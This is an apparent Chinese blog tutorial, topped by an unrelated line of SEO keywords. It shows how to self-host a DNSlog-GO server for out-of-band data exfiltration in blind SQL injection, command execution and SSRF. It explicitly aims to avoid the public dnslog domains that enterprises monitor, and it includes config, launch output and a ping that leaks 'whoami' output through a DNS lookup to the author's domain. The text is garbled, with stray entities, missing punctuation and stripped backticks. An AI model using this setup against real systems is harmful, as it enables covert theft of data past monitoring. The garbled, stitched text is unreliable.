公司网站开发报价,wordpress网站支持中文注册,天津市建设工程交易管理网站,购物网站首页分成几个模块DNSlog简介
在某些情况下#xff0c;无法利用漏洞获得回显。但是#xff0c;如果目标可以发送DNS请求#xff0c;则可以通过DNS log方式将想获得的数据外带出来。
DNS log常用于以下情况#xff1a;
SQL盲注无回显的命令执行无回显的SSRF
网上公开提供dnslog服务有很多…DNSlog简介
在某些情况下无法利用漏洞获得回显。但是如果目标可以发送DNS请求则可以通过DNS log方式将想获得的数据外带出来。
DNS log常用于以下情况
SQL盲注无回显的命令执行无回显的SSRF
网上公开提供dnslog服务有很多比如dnslog.cn、知道创宇、三叶草等等但是这些提供的域名是固定的现在一些比较大型的企业已经把这些域名也加入到监控范围之中了。
如果自建一个dnslog服务就能很好的规避这种情况。
需要准备
一个阿里云的域名VPS服务器一台
域名解析
在bigwulong.cn中添加添加一个A记录与一个NS记录。其中A记录指向服务器IP地址NS记录指向A记录的域名地址 获取方式
DNSlog-GO使用golang编写的dnslog服务端自带WEB界面web可自定义编辑修改美化。兼容LinuxMACOSWindows等系统。各平台直接下载运行无需安装依赖这里以Linux作为示例。
Github地址https://github.com/lanyi1998/DNSlog-GO/releases/
本站下载地址Linux DNSlog-GO 1.5.6版本https://resource.if010.com/DNSlog-GO/dnslog-linux.zip
本站下载地址MacOS DNSlog-GO 1.5.6版本https://resource.if010.com/DNSlog-GO/dnslog-macos.zip
本站下载地址Windows DNSlog-GO 1.5.6版本https://resource.if010.com/DNSlog-GO/dnslog-windows.zip
运行
修改默认的token
[rootlocalhost ~]# vim config.yaml HTTP:port: 8000#{token:用户对应子域名}user: { 123456: logdns }consoleDisable: false
Dns:domain: bigwulong.cn启动
[rootlocalhost ~]# ./dnslog-linux
2023/07/14 07:09:39 Http Listing Start...
2023/07/14 07:09:39 Http address: http://0.0.0.0:8000
2023/07/14 07:09:39 DNS Listing Start...查看进程和监听情况
[rootkr-seoul ~]# ps aux | grep dnslog
root 3275 0.0 0.6 714196 6160 pts/0 Sl 07:09 0:00 ./dnslog-linux
root 3296 0.0 0.0 112808 976 pts/0 R 07:11 0:00 grep --colorauto dnslog[rootkr-seoul ~]# netstat -tnlpu | grep -E 8000|53
tcp6 0 0 :::8000 :::* LISTEN 3275/./dnslog-linux
udp6 0 0 :::53 :::* 3275/./dnslog-linux 测试
Web页面访问测试[font color“red”]需要输入token这里的token就是config.yaml设置的值[/font] 点击复制随机子域名获取到 spmkj.dnslog.bigwulong.cn
使用ping命令
[rootlocalhost ~]# ping whoami.spmkj.dnslog.bigwulong.cn -c 1
PING root.spmkj.dnslog.bigwulong.cn (127.0.0.1) 56(84) bytes of data.
64 bytes from kr-seoul.if010.com (127.0.0.1): icmp_seq1 ttl64 time0.023 msroot.spmkj.dnslog.bigwulong.cn ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev 0.023/0.023/0.023/0.000 ms可以看到回显结果
